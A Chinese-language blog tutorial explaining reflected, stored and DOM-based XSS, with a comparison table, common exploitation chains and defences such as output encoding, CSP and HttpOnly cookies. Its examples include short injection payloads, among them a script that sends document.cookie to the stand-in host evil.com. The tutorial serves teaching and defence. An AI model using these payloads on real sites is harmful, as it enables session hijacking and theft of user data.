在 Web 安全领域,跨站脚本攻击(Cross-Site Scripting,简称 XSS)长期占据 OWASP Top 10 榜单,是最常见、最危险的 Web 漏洞之一。尽管现代框架和浏览器不断推出防护机制,XSS 依然频繁出现在各类真实业务系统中。本文将从原理出发,系统解析反射型、存储型和 DOM 型 XSS 的区别、利用方式及防御策略,帮助开发者和安全从业者建立完整的认知体系。
一、XSS 的本质
XSS 的核心在于:攻击者将恶意脚本注入到网页中,使其他用户在浏览该页面时执行这段脚本。由于脚本在受害者浏览器中以目标站点的域执行,它可以窃取 Cookie、发起 CSRF 请求、篡改页面内容、记录键盘输入,甚至结合浏览器漏洞实现更深入的攻击。
XSS 之所以危险,是因为它绕过了同源策略——攻击者不需要直接访问受害者账户,只需让受害者在被注入的页面上执行恶意代码,就能以受害者的身份完成操作。
二、反射型 XSS(Reflected XSS)
原理
反射型 XSS 是最“即时”的一种。恶意脚本作为请求参数发送给服务器,服务器未经充分处理便将其“反射”回响应页面中。攻击者需要诱导受害者点击一个精心构造的链接,脚本才会执行。
典型场景
假设搜索页面将关键字直接输出到 HTML 中:
https://example.com/search?q=<script>alert(document.cookie)</script>
如果服务器返回的页面中包含 <p>您搜索的是:<script>alert(document.cookie)</script></p>,浏览器就会执行该脚本。
利用方式
攻击者通常将恶意 URL 通过邮件、论坛、短链接等方式发送给目标用户。由于脚本不会持久存储在服务器上,因此称为“非持久型 XSS”。
特点
- 需要用户点击恶意链接
- 脚本不存储在服务器
- 影响范围取决于诱骗成功率
- 常见于搜索、错误提示、跳转等回显场景
三、存储型 XSS(Stored XSS)
原理
存储型 XSS 是危害最大的一种。攻击者将恶意脚本提交到服务器并永久存储(如数据库、文件、缓存),当其他用户访问包含该数据的页面时,脚本自动执行。
典型场景
留言板、评论区、用户昵称、个人简介等允许用户输入并展示的功能。如果未做过滤,攻击者提交:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
所有查看该留言的用户都会中招。
利用方式
攻击者无需诱导点击,只要目标用户浏览到被污染的页面即可。在社交平台、论坛、电商评论中,存储型 XSS 可迅速扩散,甚至形成蠕虫式传播。
特点
- 脚本持久存储
- 无需用户点击,自动触发
- 影响范围大,可批量窃取用户数据
- 常见于 UGC(用户生成内容)场景
四、DOM 型 XSS(DOM-based XSS)
原理
DOM 型 XSS 是一种特殊的反射型变体。它的漏洞根源不在服务器端,而在前端 JavaScript 代码。当页面中的 JS 从 URL、location.hash、document.referrer 等来源获取数据,并直接写入 innerHTML、eval、document.write 等危险 sink 时,就会触发 DOM 型 XSS。
典型场景
var name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
攻击者构造:
https://example.com/#<img src=x onerror=alert(1)>
浏览器不会将 # 后的内容发送给服务器,因此服务器端日志和 WAF 可能完全看不到攻击载荷。
利用方式
与反射型类似,需要诱导用户点击链接。但由于载荷不经过服务器,传统服务端防御手段难以检测。
特点
- 漏洞位于客户端 JS
- 载荷不发送到服务器
- 服务端日志难以发现
- 常见于 SPA(单页应用)和前端路由
五、三种类型的对比
| 维度 | 反射型 | 存储型 | DOM 型 |
|---|---|---|---|
| 存储位置 | 不存储 | 服务器持久存储 | 不存储 |
| 触发方式 | 诱导点击 | 自动触发 | 诱导点击 |
| 漏洞位置 | 服务端 | 服务端 | 客户端 JS |
| 危害程度 | 中 | 高 | 中高 |
| 检测难度 | 低 | 中 | 高 |
| 典型场景 | 搜索、错误页 | 评论、留言 | SPA、前端路由 |
六、XSS 的常见利用链
- 窃取 Cookie:
document.cookie发送到攻击者服务器,配合会话劫持。 - 发起 CSRF:以受害者身份提交表单或调用 API。
- 键盘记录:注入键盘监听脚本,窃取敏感输入。
- 钓鱼:篡改页面内容,诱导输入账号密码。
- 结合浏览器漏洞:实现沙箱逃逸或远程代码执行。
七、防御策略
1. 输出编码
根据输出位置(HTML、属性、JS、URL、CSS)采用对应的编码方式,确保用户数据不被解析为代码。这是最根本的防御手段。
2. 输入验证与过滤
对用户输入进行白名单校验,过滤危险标签和属性。但需注意,过滤不能替代输出编码。
3. 使用 CSP
内容安全策略(Content Security Policy)可限制脚本来源,禁止内联脚本执行,大幅降低 XSS 危害。
4. HttpOnly Cookie
为敏感 Cookie 设置 HttpOnly 标志,防止 JS 读取,降低会话劫持风险。
5. 现代框架的自动转义
React、Vue、Angular 等框架默认对插值进行转义。但需警惕 dangerouslySetInnerHTML、v-html 等危险 API。
6. 避免危险 DOM API
尽量使用 textContent 而非 innerHTML,避免 eval、document.write 等 sink。
八、总结
XSS 并非单一漏洞,而是涵盖反射型、存储型和 DOM 型三大类的一组攻击面。反射型依赖诱骗点击,存储型危害最大且自动传播,DOM 型则隐藏在前端代码中,绕过服务端检测。理解三者的区别与利用方式,是构建有效防御体系的前提。在实际开发中,应坚持“输出编码为主、输入过滤为辅、CSP 兜底”的原则,并结合安全测试与代码审计,才能从根本上降低 XSS 风险。
在 Web 安全的学习路径中,XSS 与 SQL 注入、CSRF 并列为三大经典漏洞。掌握 XSS 的原理与防御,不仅是渗透测试的基础,更是安全加固的核心环节。
未经允许不得转载:任鹏个人博客 » XSS 漏洞全解析:反射型、存储型与 DOM 型的区别与利用


朋友圈点赞图在线生成源码